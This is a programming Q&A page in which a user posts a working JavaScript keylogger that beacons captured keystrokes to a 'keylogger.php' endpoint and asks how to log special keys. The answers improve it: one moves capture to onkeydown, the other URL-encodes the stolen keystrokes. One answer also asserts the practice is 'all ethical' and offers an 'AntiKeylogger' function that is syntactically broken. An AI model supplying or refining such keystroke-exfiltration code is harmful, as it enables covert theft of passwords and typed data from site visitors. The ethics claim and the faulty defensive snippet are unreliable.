CODEWITHSUNDEEP
javascripthtmlkeylogger
usama
usama

Reputation: 161

Javascript keylogger (for ethical purpose)

JS code The following is javascript code for keylogging on html page.

var keys = '';
document.onkeypress = function(e) {
  get = window.event ? event : e;
  key = get.keyCode ? get.keyCode : get.charCode;
  key = String.fromCharCode(key);
  keys += key;
}
window.setInterval(function() {
  if (keys != '') {
    new Image().src = 'keylogger.php?c=' + keys;
    keys = '';
  }
}, 500);

It does work but some special keys are not getting logged for example space,tab,backspace etc.

How can I customize the above code to log all special keys?

Upvotes: 2

Views: 14657

Answers (2)

Vinod Srivastav
Vinod Srivastav

Reputation: 4253

Actually with document.onkeypress will not be able to capture Tab & Backspace you need to use document.onkeydown as

document.onkeydown = function(e){ 
    console.log(e);
};

If you that you will be able to log that in console enter image description here

Finally you can update your keylogger as:

//keylogger
var keycodes = "";
var keychars = "";
document.onkeydown = function(e){ 
    keycodes += `${e.code}, `;
    keychars += `${e.key}`;
    
    if(e.code === "Enter") // when Enter is pressed print the line in console
    { 
        console.log(keycodes); //print code
        console.log(keychars); //print char
        keycodes = ""; //make null
        keychars = ""; // make null 
    } 
};

And Relax this is all ethical as javascript provides api to intercept keypress.

To overcome this we can have something as Anti-Keylogger and call it when the page is loaded

//Disables the keystroke logging 
function AntiKeylogger(){
    window.onkeydown = undefined;
    window.onkeypress = undefined;
    window.onkeyup = undefined;
    document.onkeydown = undefined;
    document.onkeypress = undefined;
    document.onkeyup = undefined;
}();

Upvotes: 1

Dávid Molnár
Dávid Molnár

Reputation: 11613

URLs can contain only a specific set of characters. This is the reason you need to encode the characters you want to send. Use the encodeURIComponent function on keys:

new Image().src = 'keylogger.php?c='+encodeURIComponent(keys);

Upvotes: 4

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